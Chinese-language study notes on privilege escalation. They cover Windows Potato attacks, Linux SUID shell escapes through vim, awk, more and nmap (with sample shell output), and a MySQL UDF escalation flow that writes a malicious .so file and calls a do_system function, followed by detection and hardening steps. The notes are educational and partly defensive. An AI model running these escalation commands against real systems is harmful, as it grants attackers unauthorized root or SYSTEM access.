提权相关记录
Windows
potato本地提权
常见potato提权:BadPotato、EfsPotato、SweetPotato、JuicyPotato0、PrintNotifyPotato、RottenPotato
提权前置条件:拥有SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege权限其中一个。
可以通过命令whoami /priv或whoami /all进行查询。
● SeImpersonatePrivilege权限是本地管理员账户、本地服务账户、由SCM启动的服务才拥有的。
● SeAssignPrimaryTokenPrivilege一般只有SYSTEM才有。
Windows服务的登录账户
● Local System(NT AUTHRITY \ System)本地系统
● Network Service(NT AUTHRITY \ Network Service)网络服务
● Local Service(NT AUTHRITY \ Local Service)本地服务
**提权原理:**目的是将当前权限提升至System权限。
一系列提权手段
Origin Potato
RottenPotato && JuicyPotato
这两者通过DCOM call来使服务向攻击者监听的端口发起连接并进行NTLM认证(Windows操作系统的认证方式)。
Linux
SUID
SetUID是一种Linux的安全机制,用户在执行具有SUID权限文件的时候,会使调用者暂时获得 该文件所有者的权限。
注意
● 只有可执行文件才能设定SUID权限,非二进制文件设置SUID没有意义
● 命令执行者需要对该文件具有执行权限(x)才能使用
● SUID权限只在该程序执行过程中有效
常用搜索suid可执行文件命令(-u=s和-4000都表示具有suid权限)
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ; #使用ls -ldb列出详细信息
利用vim提权
vim -c ‘:!/bin/sh’
ubuntu@VM-8-8-ubuntu:~$ vim -c ‘:!/bin/sh’
sh-5.0$ ls
thinclient_drives
sh-5.0$ pwd
/home/ubuntu
sh-5.0$ whoami
ubuntu
-c参数用于在启动vim时,自动执行指定的vim命令,这里就会自动执行:!/bin/sh,让vim执行一个外部命令/bin/sh,并开启一个新的shell。由于vim具有SUID权限(比如root),这个shell也会以拥有者(比如root)的权限执行。
或者
vim anyFile
然后在末行输入
:!/bin/sh或:set shell=‘/bin/sh’+‘:shell’
然后回车即可输入命令
nano以root权限修改文件
nano
Ctrl+R
CTrl+X
也可以和vim一样,以root权限修改文件内容
利用awk执行系统命令
awk ‘BEGIN{system(“/bin/bash”)}’
more/less执行系统命令
当该命令具有SUID权限时
more /etc/passwd #需要查看一个比较大的文件,否则不能分页
在末行输入 !/bin/sh 即可执行命令
利用systemctl提权
利用nmap提权(过时)
适合早期的nmap版本nmap2.02至5.21
nmap --interactive 进入交互模式
在交互模式提权
nmap> !sh
sh-3.2# whoami
root
Mysql
UDF提权
UDF(User Defined Funtion,用户自定义函数),通过添加新的函数,对mysql服务器进行功能扩充。
这里以linux为例,windows类似。
提权前置条件:
● 所拥有的账户具有可写入的权限,即secure_file_priv的值为空。
○ 可以通过命令:show global variables like ‘%secure%’;进行查看,如果secure_file_priv字段为空则表示没有限制,如果为NULL则表示不允许,如果返回路径则表示在该路径下允许;
漏洞原理:
攻击者可以利用 MySQL 的 SELECT … INTO OUTFILE 语句将恶意的 .so 文件(或其他文件类型的动态链接库)写入服务器文件系统的任意位置。然后,攻击者可以通过 CREATE FUNCTION 语句将该恶意文件作为 UDF 插件加载到 MySQL 中。
UDF提权留下痕迹位置:
1、异常的.so文件:在进行 UDF提权时,攻击者通常会将恶意共享库文件(.so文件)放在 MySQL 插件目录中。这个目录的默认路径通常是 /usr/lib/mysql/plugin/,但具体路径取决于 MySQL 的安装和配置。(一般来说就是这个目录,没人闲着会去移动)
select @@plugin_dir – 可以通过这个命令查看插件目录地址
使用该目录原因:
● usr/lib/mysql/plugin/ 是 MySQL 的默认插件目录,MySQL 有权限加载和执行该目录中的共享库文件。
● 插件必须放置在 MySQL 的插件目录中,才能被 MySQL 识别和加载。攻击者需要将恶意 .so 文件放入该目录,实现提权。
● 由于 MySQL 服务运行时需要访问插件目录,通常该目录的权限设置相对宽松,允许 MySQL 服务有读写权限。
2、Mysql日志文件:检查如 mysql.log 或 error.log中是否有异常的文件操作记录或 CREATE FUNCTION 语句。
3、Mysql函数表:检查 mysql.func 表中是否有异常的 UDF 函数,SELECT * FROM mysql.func;
典型UDF提权攻击流程:
1、编写恶意插件:编写一个.so文件,其中包含恶意代码。
2、上传恶意插件:利用Mysql的文件上传功能,将写好的插件上传到服务器某个位置(通常是/usr/lib/mysql/plugin)。
select ‘’ into outfile ‘/path/to/your/udf.so’;
3、创建UDF函数:使用 CREATE FUNCTION 命令将这个共享库文件加载为 MySQL 的 UDF 函数。
CREATE FUNCTION do_system RETURNS INTEGER SONAME ‘udf.so’;
4、命令执行:调用这个 UDF 函数执行系统命令。
SELECT do_system(‘id’);
检查和防护措施
1、检查是否存在异常的UDF函数
SELECT * FROM mysql.func;
2、限制secure_file_priv的路径,即限制Mysql的文件操作范围:将secure_file_priv设定为特定的路径。
3、移除掉可疑的UDF函数
DROP FUNCTION IF EXISTS do_system;
4、权限控制:严格控制数据库用户的权限,避免赋予不必要的权限,特别是文件操作和创建函数的权限。
5、日志监控:定期检查 MySQL 日志文件,关注异常的文件操作和函数创建活动。